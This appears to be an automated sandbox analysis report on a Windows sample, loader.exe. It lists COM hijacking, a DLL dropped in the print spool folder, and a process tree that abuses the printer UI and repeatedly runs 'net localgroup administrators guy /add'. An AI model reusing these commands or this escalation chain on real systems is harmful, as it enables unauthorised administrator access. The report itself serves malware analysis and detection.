Resubmissions

24/08/2026, 00:20

260824-am723sbq6v9

24/08/2026, 00:17

260824-ak9swsbq4v7

24/08/2026, 00:16

260824-akyevsbq219

24/08/2026, 00:11

260824-ag12ksbf349

Analysis

  • user interaction
    yes
  • max time kernel
    14s
  • max time network
    16s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    24/08/2026, 00:16

General

  • Target
    loader.exe
  • Size 34KB
  • Sample260824-akyevsbq21
  • SHA256 946e205ec9956cfbd6366d50df18462b077289cd35f3b5478fdf7bb001f81501
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Loads dropped DLL 9 IoCs
  • Drops file in System32 directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • Modifies registry class 38 IoCs
  • Runs net.exe
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\loader.exe
    "C:\Users\Admin\AppData\Local\Temp\loader.exe"
    1⤵
    • Drops file in System32 directory
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:4928
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c rundll32 printui.dll,PrintUIEntry /k /n "Microsoft Print to PDF"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2388
      • C:\Windows\system32\rundll32.exe
        rundll32 printui.dll,PrintUIEntry /k /n "Microsoft Print to PDF"
        3⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:2984
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
    1⤵
      PID:1684
    • C:\Windows\system32\printfilterpipelinesvc.exe
      C:\Windows\system32\printfilterpipelinesvc.exe -Embedding
      1⤵
      • Drops file in System32 directory
      PID:4544
    • C:\Windows\system32\net.exe
      net localgroup administrators guy /add
      1⤵
        PID:4316
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 localgroup administrators guy /add
          2⤵
            PID:4840
        • C:\Windows\system32\net.exe
          net localgroup administrators guy /add
          1⤵
            PID:1056
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup administrators guy /add
              2⤵
                PID:4672
            • C:\Windows\system32\net.exe
              net localgroup administrators guy /add
              1⤵
                PID:4944
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup administrators guy /add
                  2⤵
                    PID:1876
                • C:\Windows\system32\net.exe
                  net localgroup administrators guy /add
                  1⤵
                    PID:4896
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup administrators guy /add
                      2⤵
                        PID:3680
                    • C:\Windows\system32\net.exe
                      net localgroup administrators guy /add
                      1⤵
                        PID:4772
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 localgroup administrators guy /add
                          2⤵
                            PID:3356
                        • C:\Windows\system32\net.exe
                          net localgroup administrators guy /add
                          1⤵
                            PID:4448
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 localgroup administrators guy /add
                              2⤵
                                PID:3096
                            • C:\Windows\system32\net.exe
                              net localgroup administrators guy /add
                              1⤵
                                PID:1836
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 localgroup administrators guy /add
                                  2⤵
                                    PID:4332
                                • C:\Windows\system32\net.exe
                                  net localgroup administrators guy /add
                                  1⤵
                                    PID:1716
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 localgroup administrators guy /add
                                      2⤵
                                        PID:2500
                                    • C:\Windows\system32\net.exe
                                      net localgroup administrators guy /add
                                      1⤵
                                        PID:4248
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 localgroup administrators guy /add
                                          2⤵
                                            PID:3336
                                        • C:\Windows\system32\net.exe
                                          net localgroup administrators guy /add
                                          1⤵
                                            PID:3332
                                          • C:\Windows\system32\net.exe
                                            net localgroup administrators guy /add
                                            1⤵
                                              PID:960
                                            • C:\Windows\system32\net.exe
                                              net localgroup administrators guy /add
                                              1⤵
                                                PID:3056
                                              • C:\Windows\system32\net.exe
                                                net localgroup administrators guy /add
                                                1⤵
                                                  PID:3372
                                                • C:\Windows\system32\net.exe
                                                  net localgroup administrators guy /add
                                                  1⤵
                                                    PID:3348
                                                  • C:\Windows\system32\net.exe
                                                    net localgroup administrators guy /add
                                                    1⤵
                                                      PID:2028
                                                    • C:\Windows\system32\net.exe
                                                      net localgroup administrators guy /add
                                                      1⤵
                                                        PID:1840
                                                      • C:\Windows\system32\net.exe
                                                        net localgroup administrators guy /add
                                                        1⤵
                                                          PID:3708
                                                        • C:\Windows\system32\net.exe
                                                          net localgroup administrators guy /add
                                                          1⤵
                                                            PID:2892

                                                          Network

                                                                MITRE ATT&CK Enterprise v16

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                evil_com.dll

                                                                • Path C:\Windows\System32\spool\drivers\color\evil_com.dll
                                                                • Size 14KB
                                                                • SHA256 80c6b7c05c1a52194bed2b0fe08a55c783ac34fa996eb201c442e29073132924
                                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                memory/4928-9-0x00007FF7E9C10000-0x00007FF7E9C1F000-memory.dmp